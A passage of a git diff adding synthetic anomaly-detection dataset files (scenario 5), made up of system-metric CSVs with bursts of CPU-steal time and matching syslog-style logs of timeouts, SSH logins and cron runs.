Dropping request. +Jul 15 14:35:35 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:35:50 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:35:55 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:36:00 systemd[1]: Started Session 136 of user webadmin. +Jul 15 14:36:05 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:36:10 app-server[1128]: INFO: Request processed successfully in 55ms. status=200 +Jul 15 14:36:20 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:36:30 systemd[1]: Started Session 183 of user webadmin. +Jul 15 14:36:35 systemd[1]: Started Session 135 of user webadmin. +Jul 15 14:36:40 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:36:50 app-server[1128]: INFO: Request processed successfully in 93ms. status=200 +Jul 15 14:37:00 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:37:05 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:37:15 app-server[1128]: INFO: Request processed successfully in 181ms. status=200 +Jul 15 14:37:25 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. diff --git a/anom_dataset/scenario_5/anom_5_7.csv b/anom_dataset/scenario_5/anom_5_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..3a04b2ccd7f7179d70aeb87c59ace3838964ee36 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,20.62,0.0,39.63,24.34,0.81,1.02 +2025-08-23T10:00:05Z,29.26,0.0,46.49,29.72,1.31,1.21 +2025-08-23T10:00:10Z,25.98,0.0,49.23,29.06,1.18,1.88 +2025-08-23T10:00:15Z,23.98,0.0,43.15,21.56,0.66,1.37 +2025-08-23T10:00:20Z,17.34,0.0,48.16,31.59,1.41,1.6 +2025-08-23T10:00:25Z,17.34,0.0,47.55,23.11,1.32,1.01 +2025-08-23T10:00:30Z,15.87,0.0,42.01,20.71,1.45,1.03 +2025-08-23T10:00:35Z,27.99,0.0,44.64,28.32,1.23,0.85 +2025-08-23T10:00:40Z,24.02,0.0,40.77,31.94,1.11,1.0 +2025-08-23T10:00:45Z,25.62,0.0,42.64,27.79,0.92,1.13 +2025-08-23T10:00:50Z,15.31,0.0,37.84,32.53,1.43,1.01 +2025-08-23T10:00:55Z,29.55,0.0,43.72,34.03,1.37,0.91 +2025-08-23T10:01:00Z,27.49,0.0,44.19,27.09,0.55,0.94 +2025-08-23T10:01:05Z,18.19,0.0,45.68,28.14,0.53,1.35 +2025-08-23T10:01:10Z,17.73,0.0,49.58,34.4,0.88,1.05 +2025-08-23T10:01:15Z,17.75,0.0,43.19,26.5,1.31,1.24 +2025-08-23T10:01:20Z,19.56,0.0,42.74,30.5,1.49,1.4 +2025-08-23T10:01:25Z,22.87,0.0,48.02,21.24,0.65,1.63 +2025-08-23T10:01:30Z,21.48,0.0,42.87,22.43,1.09,0.85 +2025-08-23T10:01:35Z,19.37,0.0,39.34,33.51,0.88,1.76 +2025-08-23T10:01:40Z,24.18,0.0,46.63,33.51,1.47,1.55 +2025-08-23T10:01:45Z,17.09,0.0,42.56,30.05,1.34,0.9 +2025-08-23T10:01:50Z,19.38,0.0,46.91,26.43,1.34,1.85 +2025-08-23T10:01:55Z,20.5,0.0,49.39,24.38,0.97,1.91 +2025-08-23T10:02:00Z,21.84,0.0,44.38,19.89,0.91,0.87 +2025-08-23T10:02:05Z,26.78,0.0,50.29,30.03,0.77,1.13 +2025-08-23T10:02:10Z,18.0,0.0,50.35,25.22,0.56,1.77 +2025-08-23T10:02:15Z,22.71,0.0,40.22,27.08,1.36,1.7 +2025-08-23T10:02:20Z,23.89,0.0,50.85,33.38,1.31,1.02 +2025-08-23T10:02:25Z,15.7,0.0,46.22,26.57,1.5,1.05 +2025-08-23T10:02:30Z,11.75,25.13,49.72,36.2,1.5,1.24 +2025-08-23T10:02:35Z,13.57,40.06,52.75,32.95,1.06,1.38 +2025-08-23T10:02:40Z,18.86,47.88,42.69,28.28,1.27,1.54 +2025-08-23T10:02:45Z,28.22,36.7,39.59,26.48,1.44,1.24 +2025-08-23T10:02:50Z,31.34,37.15,40.5,26.52,1.35,1.36 +2025-08-23T10:02:55Z,24.11,28.4,42.64,21.68,0.75,1.7 +2025-08-23T10:03:00Z,20.0,43.08,48.03,28.26,0.95,0.84 +2025-08-23T10:03:05Z,15.69,25.61,49.29,30.93,0.63,1.1 +2025-08-23T10:03:10Z,31.1,29.71,40.62,17.74,1.45,1.66 +2025-08-23T10:03:15Z,22.87,32.76,46.76,20.78,1.11,1.87 +2025-08-23T10:03:20Z,18.52,35.23,44.2,21.93,0.73,1.41 +2025-08-23T10:03:25Z,20.37,27.27,45.13,18.92,1.17,1.44 +2025-08-23T10:03:30Z,13.08,23.45,40.67,30.37,1.12,0.93 +2025-08-23T10:03:35Z,26.48,38.32,48.82,31.29,0.86,1.34 +2025-08-23T10:03:40Z,20.85,28.66,50.68,27.85,0.61,1.44 +2025-08-23T10:03:45Z,22.83,37.44,41.52,19.95,1.17,1.09 +2025-08-23T10:03:50Z,21.12,24.63,43.05,25.96,1.02,1.12 +2025-08-23T10:03:55Z,33.18,34.43,48.0,27.8,1.27,1.25 +2025-08-23T10:04:00Z,27.56,35.98,43.19,18.25,1.02,0.82 +2025-08-23T10:04:05Z,16.14,21.55,51.15,22.29,1.35,1.19 +2025-08-23T10:04:10Z,35.55,30.1,50.57,23.82,1.05,1.05 +2025-08-23T10:04:15Z,24.59,24.03,42.37,28.6,1.06,1.19 +2025-08-23T10:04:20Z,18.9,21.9,43.28,30.46,1.38,0.94 +2025-08-23T10:04:25Z,23.38,49.7,39.98,25.11,0.9,1.87 +2025-08-23T10:04:30Z,14.61,29.67,41.96,28.19,0.63,1.51 +2025-08-23T10:04:35Z,27.07,44.3,42.08,28.91,0.53,1.61 +2025-08-23T10:04:40Z,16.42,27.64,46.52,27.49,1.26,1.75 +2025-08-23T10:04:45Z,26.32,40.45,42.54,29.84,1.12,1.4 +2025-08-23T10:04:50Z,17.31,42.81,40.86,29.82,1.2,0.9 +2025-08-23T10:04:55Z,18.78,37.87,43.56,21.58,0.71,1.44 +2025-08-23T10:05:00Z,20.83,0.0,47.31,22.03,0.64,1.5 +2025-08-23T10:05:05Z,19.07,0.0,42.7,27.15,0.51,1.69 +2025-08-23T10:05:10Z,27.43,0.0,41.57,21.96,0.85,1.32 +2025-08-23T10:05:15Z,20.35,0.0,42.61,33.38,1.09,0.95 +2025-08-23T10:05:20Z,19.21,0.0,50.57,33.78,0.89,1.14 +2025-08-23T10:05:25Z,23.14,0.0,43.54,29.84,0.94,1.24 +2025-08-23T10:05:30Z,17.11,0.0,48.89,27.89,1.4,1.58 +2025-08-23T10:05:35Z,27.03,0.0,49.72,28.45,0.85,1.48 +2025-08-23T10:05:40Z,16.12,0.0,39.62,27.55,1.01,1.23 +2025-08-23T10:05:45Z,29.8,0.0,45.41,28.22,1.28,1.98 +2025-08-23T10:05:50Z,26.58,0.0,44.71,34.42,0.9,1.53 +2025-08-23T10:05:55Z,17.98,0.0,47.35,23.47,1.12,1.08 +2025-08-23T10:06:00Z,15.08,0.0,47.37,34.49,1.36,0.92 +2025-08-23T10:06:05Z,27.23,0.0,53.06,35.07,1.45,0.98 +2025-08-23T10:06:10Z,25.6,0.0,42.04,27.29,0.65,1.1 +2025-08-23T10:06:15Z,25.94,0.0,50.62,23.92,1.43,0.99 +2025-08-23T10:06:20Z,26.57,0.0,45.12,27.97,0.99,1.02 +2025-08-23T10:06:25Z,16.11,0.0,43.17,17.97,0.76,1.14 +2025-08-23T10:06:30Z,20.38,0.0,39.78,24.03,0.96,1.01 +2025-08-23T10:06:35Z,16.74,0.0,47.43,30.8,1.48,1.88 +2025-08-23T10:06:40Z,27.95,0.0,45.23,27.64,0.99,0.9 +2025-08-23T10:06:45Z,24.35,0.0,39.69,22.36,0.83,1.43 +2025-08-23T10:06:50Z,19.96,0.0,44.15,30.15,1.13,1.29 +2025-08-23T10:06:55Z,15.95,0.0,42.43,18.55,0.74,1.98 +2025-08-23T10:07:00Z,19.66,0.0,51.08,25.85,0.58,0.93 +2025-08-23T10:07:05Z,19.88,0.0,38.01,22.65,0.63,1.28 +2025-08-23T10:07:10Z,25.94,0.0,48.28,19.5,0.63,1.96 +2025-08-23T10:07:15Z,24.56,0.0,40.64,30.9,0.65,1.84 +2025-08-23T10:07:20Z,28.31,0.0,48.42,30.46,0.64,1.78 +2025-08-23T10:07:25Z,22.08,0.0,43.55,38.79,1.14,1.11 diff --git a/anom_dataset/scenario_5/anom_5_7.log b/anom_dataset/scenario_5/anom_5_7.log new file mode 100644 index 0000000000000000000000000000000000000000..09d142b9405a026353ca3ad66a0575600ce32d25 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_7.log @@ -0,0 +1,17 @@ +Aug 23 10:00:02 systemd[1]: Started Session 1 of user default. +Aug 23 10:00:10 sshd[1023]: Accepted publickey for default from 10.0.2.2 port 55234 ssh2 +Aug 23 10:00:35 kernel: [ 102.345] new high-speed USB device number 2 using ehci_hcd +Aug 23 10:01:05 webapp[5043]: INFO: User 'admin' logged in successfully. +Aug 23 10:02:03 webapp[5043]: GET /api/v1/health HTTP/1.1 200 - +Aug 23 10:02:44 webapp[5043]: WARN: High API latency detected for request_id=4687, duration=7033ms +Aug 23 10:02:59 webapp[5043]: ERROR: Failed to process batch job 'id-5297', upstream connection failed. +Aug 23 10:03:12 webapp[5043]: ERROR: Failed to process batch job 'id-5278', upstream connection failed. +Aug 23 10:03:27 webapp[5043]: WARN: High API latency detected for request_id=1922, duration=5035ms +Aug 23 10:03:38 webapp[5043]: WARN: High API latency detected for request_id=2120, duration=5204ms +Aug 23 10:03:50 gateway[6101]: WARN: upstream service 'user-auth' timed out after 5000ms +Aug 23 10:04:01 webapp[5043]: WARN: High API latency detected for request_id=5612, duration=5645ms +Aug 23 10:04:19 gateway[6101]: WARN: upstream service 'user-auth' timed out after 5000ms +Aug 23 10:04:32 gateway[6101]: WARN: upstream service 'user-auth' timed out after 5000ms +Aug 23 10:04:43 gateway[6101]: WARN: upstream service 'user-auth' timed out after 5000ms +Aug 23 10:04:54 gateway[6101]: WARN: upstream service 'user-auth' timed out after 5000ms +Aug 23 10:07:20 cron[8080]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_5/anom_5_8.csv b/anom_dataset/scenario_5/anom_5_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..798e4321b2460c57d1e760f76c1547ffb77d5228 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,total_cpu_time,mem_usage,disk_io,net_in,net_out +2025-07-02 11:00:00+00:00,19.18,0.0,19.18,43.84,26.58,0.7,1.39 +2025-07-02 11:00:05+00:00,18.63,0.0,18.63,42.22,27.52,0.63,1.88 +2025-07-02 11:00:10+00:00,24.09,0.0,24.09,36.71,25.05,1.16,1.67 +2025-07-02 11:00:15+00:00,22.43,0.0,22.43,35.39,27.79,0.66,1.75 +2025-07-02 11:00:20+00:00,17.46,0.0,17.46,38.5,27.19,0.96,1.17 +2025-07-02 11:00:25+00:00,17.58,0.0,17.58,43.93,23.82,1.39,1.91 +2025-07-02 11:00:30+00:00,20.15,0.0,20.15,36.76,22.85,0.75,1.47 +2025-07-02 11:00:35+00:00,20.65,0.0,20.65,42.18,21.08,0.67,1.42 +2025-07-02 11:00:40+00:00,18.82,0.0,18.82,42.95,26.76,0.88,1.42 +2025-07-02 11:00:45+00:00,15.3,0.0,15.3,36.38,26.3,1.21,1.5 +2025-07-02 11:00:50+00:00,21.3,0.0,21.3,36.13,25.85,1.27,1.35 +2025-07-02 11:00:55+00:00,23.8,0.0,23.8,40.37,26.18,0.89,1.74 +2025-07-02 11:01:00+00:00,23.99,0.0,23.99,41.22,20.23,0.55,1.06 +2025-07-02 11:01:05+00:00,19.19,0.0,19.19,39.63,27.13,1.09,1.44 +2025-07-02 11:01:10+00:00,18.38,0.0,18.38,38.66,22.75,1.19,1.96 +2025-07-02 11:01:15+00:00,16.74,0.0,16.74,41.88,22.35,1.26,1.88 +2025-07-02 11:01:20+00:00,17.24,0.0,17.24,40.64,26.47,0.84,1.98 +2025-07-02 11:01:25+00:00,19.57,0.0,19.57,39.96,26.95,1.47,1.12 +2025-07-02 11:01:30+00:00,22.24,0.0,22.24,44.46,28.44,0.59,1.17 +2025-07-02 11:01:35+00:00,19.26,0.0,19.26,41.58,20.06,1.42,1.79 +2025-07-02 11:01:40+00:00,22.65,0.0,22.65,40.39,25.56,0.52,0.99 +2025-07-02 11:01:45+00:00,22.48,0.0,22.48,42.78,30.0,0.67,0.84 +2025-07-02 11:01:50+00:00,20.76,0.0,20.76,35.58,25.15,0.97,0.87 +2025-07-02 11:01:55+00:00,24.14,0.0,24.14,41.6,26.89,0.69,1.65 +2025-07-02 11:02:00+00:00,17.82,0.0,17.82,43.37,29.51,1.46,0.96 +2025-07-02 11:02:05+00:00,19.69,0.0,19.69,43.65,28.73,1.47,1.34 +2025-07-02 11:02:10+00:00,16.93,0.0,16.93,42.25,29.02,1.29,1.65 +2025-07-02 11:02:15+00:00,21.65,0.0,21.65,43.3,28.95,0.81,1.21 +2025-07-02 11:02:20+00:00,16.34,0.0,16.34,35.76,22.0,1.2,1.66 +2025-07-02 11:02:25+00:00,19.07,0.0,19.07,37.05,23.07,0.65,1.64 +2025-07-02 11:02:30+00:00,23.03,29.94,52.97,42.51,29.79,0.74,1.1 +2025-07-02 11:02:35+00:00,23.45,28.46,51.91,37.01,25.3,1.15,1.71 +2025-07-02 11:02:40+00:00,20.54,28.14,48.68,37.27,27.75,1.11,1.59 +2025-07-02 11:02:45+00:00,21.76,24.27,46.03,39.88,21.29,0.87,1.62 +2025-07-02 11:02:50+00:00,20.27,20.24,40.5,43.94,26.35,1.37,1.03 +2025-07-02 11:02:55+00:00,24.14,45.31,69.45,36.99,22.57,0.63,1.59 +2025-07-02 11:03:00+00:00,23.9,45.67,69.57,41.02,22.37,1.29,0.95 +2025-07-02 11:03:05+00:00,24.84,49.7,74.53,37.91,29.32,1.16,1.56 +2025-07-02 11:03:10+00:00,17.57,49.5,67.07,42.88,21.29,1.21,1.17 +2025-07-02 11:03:15+00:00,22.01,34.58,56.59,41.03,24.88,1.47,1.66 +2025-07-02 11:03:20+00:00,24.31,43.44,67.75,36.84,25.6,1.15,1.94 +2025-07-02 11:03:25+00:00,20.02,49.32,69.34,41.01,27.19,0.57,0.81 +2025-07-02 11:03:30+00:00,21.81,32.49,54.3,39.81,27.28,0.51,1.2 +2025-07-02 11:03:35+00:00,15.91,46.85,62.76,35.99,21.51,1.49,1.05 +2025-07-02 11:03:40+00:00,17.83,39.19,57.03,36.46,25.92,1.26,1.87 +2025-07-02 11:03:45+00:00,21.39,31.42,52.81,36.27,20.24,0.68,1.86 +2025-07-02 11:03:50+00:00,18.11,47.42,65.53,40.38,25.58,1.35,1.64 +2025-07-02 11:03:55+00:00,23.63,47.95,71.59,41.78,26.36,0.9,0.92 +2025-07-02 11:04:00+00:00,20.53,48.65,69.18,40.09,27.71,1.4,1.2 +2025-07-02 11:04:05+00:00,21.71,42.76,64.47,42.32,24.71,0.67,0.82 +2025-07-02 11:04:10+00:00,24.39,27.68,52.07,35.35,24.61,0.51,1.16 +2025-07-02 11:04:15+00:00,23.31,22.91,46.22,38.98,22.36,0.52,1.74 +2025-07-02 11:04:20+00:00,17.24,28.52,45.77,39.03,23.64,0.64,1.03 +2025-07-02 11:04:25+00:00,16.83,22.09,38.92,40.14,24.43,1.42,1.92 +2025-07-02 11:04:30+00:00,23.85,23.18,47.03,39.59,20.52,1.49,1.74 +2025-07-02 11:04:35+00:00,16.22,20.86,37.08,36.45,29.97,0.78,1.48 +2025-07-02 11:04:40+00:00,18.68,25.98,44.65,40.75,20.1,0.85,1.36 +2025-07-02 11:04:45+00:00,22.81,21.66,44.47,44.5,27.85,0.81,1.31 +2025-07-02 11:04:50+00:00,23.82,22.39,46.22,43.09,21.43,1.39,1.83 +2025-07-02 11:04:55+00:00,15.99,22.73,38.73,43.9,23.95,0.86,0.82 +2025-07-02 11:05:00+00:00,21.46,0.0,21.46,39.24,25.95,1.19,0.85 +2025-07-02 11:05:05+00:00,24.59,0.0,24.59,36.83,26.23,0.52,1.55 +2025-07-02 11:05:10+00:00,21.5,0.0,21.5,43.48,27.11,0.63,2.0 +2025-07-02 11:05:15+00:00,17.17,0.0,17.17,35.08,21.5,1.06,1.56 +2025-07-02 11:05:20+00:00,23.07,0.0,23.07,38.51,22.72,0.59,1.29 +2025-07-02 11:05:25+00:00,23.98,0.0,23.98,38.17,22.79,0.78,0.98 +2025-07-02 11:05:30+00:00,22.08,0.0,22.08,40.1,23.14,0.92,1.27 +2025-07-02 11:05:35+00:00,16.29,0.0,16.29,36.62,27.61,0.94,1.59 +2025-07-02 11:05:40+00:00,20.67,0.0,20.67,35.97,24.33,0.54,1.83 +2025-07-02 11:05:45+00:00,19.04,0.0,19.04,39.76,25.1,1.16,1.2 +2025-07-02 11:05:50+00:00,19.79,0.0,19.79,43.59,23.86,0.67,1.92 +2025-07-02 11:05:55+00:00,20.11,0.0,20.11,38.9,26.57,0.77,1.79 +2025-07-02 11:06:00+00:00,17.96,0.0,17.96,44.86,29.14,1.4,1.06 +2025-07-02 11:06:05+00:00,20.98,0.0,20.98,41.5,26.27,1.05,1.05 +2025-07-02 11:06:10+00:00,16.45,0.0,16.45,40.4,23.78,0.61,0.93 +2025-07-02 11:06:15+00:00,21.05,0.0,21.05,43.56,24.52,0.86,1.17 +2025-07-02 11:06:20+00:00,16.64,0.0,16.64,37.0,23.28,0.78,1.97 +2025-07-02 11:06:25+00:00,20.72,0.0,20.72,39.27,27.18,0.83,1.79 +2025-07-02 11:06:30+00:00,19.22,0.0,19.22,44.05,21.85,1.13,1.11 +2025-07-02 11:06:35+00:00,18.83,0.0,18.83,40.11,26.99,0.86,0.92 +2025-07-02 11:06:40+00:00,18.3,0.0,18.3,37.29,23.85,0.93,1.04 +2025-07-02 11:06:45+00:00,17.68,0.0,17.68,35.62,23.27,1.35,1.39 +2025-07-02 11:06:50+00:00,24.04,0.0,24.04,43.24,26.78,1.3,1.83 +2025-07-02 11:06:55+00:00,22.31,0.0,22.31,37.22,29.89,0.9,1.15 +2025-07-02 11:07:00+00:00,15.05,0.0,15.05,44.68,20.67,0.78,1.85 +2025-07-02 11:07:05+00:00,17.62,0.0,17.62,44.32,28.25,1.13,0.93 +2025-07-02 11:07:10+00:00,24.3,0.0,24.3,43.45,21.75,0.67,1.38 +2025-07-02 11:07:15+00:00,16.91,0.0,16.91,36.85,25.21,1.35,1.9 +2025-07-02 11:07:20+00:00,17.51,0.0,17.51,39.09,29.15,1.26,0.83 +2025-07-02 11:07:25+00:00,17.5,0.0,17.5,43.69,27.51,1.34,0.8 diff --git a/anom_dataset/scenario_5/anom_5_8.log b/anom_dataset/scenario_5/anom_5_8.log new file mode 100644 index 0000000000000000000000000000000000000000..78184e25729fcb6ffde69cb44846b43b944c7f9d --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_8.log @@ -0,0 +1,90 @@ +Jul 02 11:00:00 cron[12530]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:05 sshd[16080]: Accepted publickey for ubuntu from 192.168.1.105 port 57596 +Jul 02 11:00:10 kubelet[2345]: INFO routine sync completed for pod web-app-7ffc9d69-fg4h2 +Jul 02 11:00:15 sshd[29795]: Accepted publickey for ubuntu from 192.168.1.105 port 54028 +Jul 02 11:00:20 systemd[1]: Started Session 14440 of user ubuntu. +Jul 02 11:00:25 systemd[1]: Started Session 23043 of user ubuntu. +Jul 02 11:00:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:40 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:00:45 systemd[1]: Started Session 18883 of user ubuntu. +Jul 02 11:00:50 systemd[1]: Started Session 22172 of user ubuntu. +Jul 02 11:00:55 sshd[28760]: Accepted publickey for ubuntu from 192.168.1.105 port 59274 +Jul 02 11:01:00 systemd[1]: Started Session 18405 of user ubuntu. +Jul 02 11:01:05 systemd[1]: Started Session 29755 of user ubuntu. +Jul 02 11:01:10 sshd[16515]: Accepted publickey for ubuntu from 192.168.1.105 port 50282 +Jul 02 11:01:15 sshd[27998]: Accepted publickey for ubuntu from 192.168.1.105 port 56493 +Jul 02 11:01:20 cron[12225]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:25 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=17609 +Jul 02 11:01:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:35 sshd[20941]: Accepted publickey for ubuntu from 192.168.1.105 port 47183 +Jul 02 11:01:40 sshd[10440]: Accepted publickey for ubuntu from 192.168.1.105 port 58043 +Jul 02 11:01:45 kubelet[2345]: INFO routine sync completed for pod web-app-7ffc9d69-fg4h2 +Jul 02 11:01:50 cron[23331]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:55 kubelet[2345]: INFO routine sync completed for pod web-app-7ffc9d69-fg4h2 +Jul 02 11:02:00 systemd[1]: Started Session 11267 of user ubuntu. +Jul 02 11:02:05 systemd[1]: Started Session 29292 of user ubuntu. +Jul 02 11:02:10 systemd[1]: Started Session 11486 of user ubuntu. +Jul 02 11:02:15 systemd[1]: Started Session 29347 of user ubuntu. +Jul 02 11:02:20 systemd[1]: Started Session 28125 of user ubuntu. +Jul 02 11:02:25 kubelet[2345]: INFO routine sync completed for pod data-processor-6c6f7-l2kmn +Jul 02 11:02:30 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=27065 +Jul 02 11:02:35 app[4567]: ERROR Failed to process job 10699, upstream service unavailable +Jul 02 11:02:40 app[4567]: ERROR Failed to process job 24786, upstream service unavailable +Jul 02 11:02:45 app[4567]: INFO Performance degradation detected: processing time for task 12204 exceeded threshold (6s) +Jul 02 11:02:50 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:02:55 app[4567]: INFO Performance degradation detected: processing time for task 28743 exceeded threshold (6s) +Jul 02 11:03:00 app[4567]: ERROR Failed to process job 16608, upstream service unavailable +Jul 02 11:03:05 cron[15785]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:10 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:03:15 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=10357 +Jul 02 11:03:20 app[4567]: ERROR Failed to process job 19685, upstream service unavailable +Jul 02 11:03:25 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=27651 +Jul 02 11:03:30 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=25027 +Jul 02 11:03:35 app[4567]: ERROR Failed to process job 28970, upstream service unavailable +Jul 02 11:03:40 sshd[26732]: Accepted publickey for ubuntu from 192.168.1.105 port 54774 +Jul 02 11:03:45 app[4567]: ERROR Failed to process job 17665, upstream service unavailable +Jul 02 11:03:50 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=27013 +Jul 02 11:03:55 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=20606 +Jul 02 11:04:00 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=22807 +Jul 02 11:04:05 app[4567]: ERROR Failed to process job 11948, upstream service unavailable +Jul 02 11:04:10 app[4567]: ERROR Failed to process job 14032, upstream service unavailable +Jul 02 11:04:15 app[4567]: ERROR Failed to process job 10743, upstream service unavailable +Jul 02 11:04:20 app[4567]: INFO Performance degradation detected: processing time for task 16310 exceeded threshold (6s) +Jul 02 11:04:25 app[4567]: ERROR Failed to process job 18062, upstream service unavailable +Jul 02 11:04:30 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:04:35 kubelet[2345]: INFO routine sync completed for pod api-gateway-55cbbd-t9jqf +Jul 02 11:04:40 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=17805 +Jul 02 11:04:45 app[4567]: ERROR Failed to process job 16691, upstream service unavailable +Jul 02 11:04:50 app[4567]: ERROR Failed to process job 13009, upstream service unavailable +Jul 02 11:04:55 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:05:00 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:05:05 cron[10189]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:10 systemd[1]: Started Session 15844 of user ubuntu. +Jul 02 11:05:15 app[4567]: WARN Request to internal-service timed out after 5000ms, operation_id=18590 +Jul 02 11:05:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:25 kubelet[2345]: INFO routine sync completed for pod data-processor-6c6f7-l2kmn +Jul 02 11:05:30 kubelet[2345]: INFO routine sync completed for pod api-gateway-55cbbd-t9jqf +Jul 02 11:05:35 sshd[26286]: Accepted publickey for ubuntu from 192.168.1.105 port 56619 +Jul 02 11:05:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:45 systemd[1]: Started Session 10259 of user ubuntu. +Jul 02 11:05:50 systemd[1]: Started Session 19478 of user ubuntu. +Jul 02 11:05:55 systemd[1]: Started Session 29502 of user ubuntu. +Jul 02 11:06:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:05 kubelet[2345]: INFO routine sync completed for pod api-gateway-55cbbd-t9jqf +Jul 02 11:06:10 cron[17870]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:15 cron[17730]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:20 sshd[25668]: Accepted publickey for ubuntu from 192.168.1.105 port 43098 +Jul 02 11:06:25 kubelet[2345]: INFO routine sync completed for pod data-processor-6c6f7-l2kmn +Jul 02 11:06:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:35 systemd[1]: Started Session 25491 of user ubuntu. +Jul 02 11:06:40 systemd[1]: Started Session 21698 of user ubuntu. +Jul 02 11:06:45 cron[17088]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:50 kubelet[2345]: INFO routine sync completed for pod api-gateway-55cbbd-t9jqf +Jul 02 11:06:55 sshd[14251]: Accepted publickey for ubuntu from 192.168.1.105 port 47542 +Jul 02 11:07:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:07:05 cron[25439]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:07:10 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:07:15 app[4567]: INFO Performance degradation detected: processing time for task 26765 exceeded threshold (6s) +Jul 02 11:07:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:07:25 sshd[24461]: Accepted publickey for ubuntu from 192.168.1.105 port 58223 diff --git a/anom_dataset/scenario_5/anom_5_9.csv b/anom_dataset/scenario_5/anom_5_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..be67dbb85d0177e2a7a3a75c0538fbcc08cb696c --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-10-02T10:00:00Z,13.43,0.0,33.88,21.14,0.8,1.47 +2025-10-02T10:00:05Z,15.73,0.0,32.7,36.92,0.68,1.03 +2025-10-02T10:00:10Z,12.92,0.0,43.25,39.32,0.43,1.54 +2025-10-02T10:00:15Z,15.72,0.0,32.24,18.59,0.77,1.18 +2025-10-02T10:00:20Z,11.19,0.0,36.79,23.52,1.0,1.53 +2025-10-02T10:00:25Z,15.13,0.0,35.71,22.54,0.55,1.54 +2025-10-02T10:00:30Z,16.92,0.0,39.5,36.87,0.39,1.25 +2025-10-02T10:00:35Z,17.01,0.0,33.08,12.63,0.86,0.91 +2025-10-02T10:00:40Z,15.28,0.0,33.93,40.73,0.5,1.01 +2025-10-02T10:00:45Z,14.23,0.0,42.72,28.96,0.74,1.07 +2025-10-02T10:00:50Z,11.42,0.0,45.52,17.5,0.71,2.37 +2025-10-02T10:00:55Z,17.27,0.0,37.51,20.83,0.31,1.29 +2025-10-02T10:01:00Z,17.75,0.0,38.02,26.26,0.65,1.31 +2025-10-02T10:01:05Z,19.77,0.0,38.88,25.09,0.75,1.13 +2025-10-02T10:01:10Z,11.48,0.0,41.63,11.31,1.19,1.08 +2025-10-02T10:01:15Z,14.72,0.0,41.51,16.02,0.6,1.48 +2025-10-02T10:01:20Z,19.28,0.0,49.49,24.28,0.83,1.27 +2025-10-02T10:01:25Z,15.02,0.0,36.01,21.9,1.09,1.49 +2025-10-02T10:01:30Z,13.91,0.0,44.66,22.86,0.56,1.23 +2025-10-02T10:01:35Z,17.32,0.0,44.54,5.58,0.76,1.26 +2025-10-02T10:01:40Z,20.93,0.0,45.28,24.29,0.94,0.85 +2025-10-02T10:01:45Z,17.35,0.0,43.83,15.91,0.97,0.89 +2025-10-02T10:01:50Z,14.09,0.0,40.96,32.93,0.46,1.3 +2025-10-02T10:01:55Z,16.89,0.0,42.11,26.64,1.27,1.8 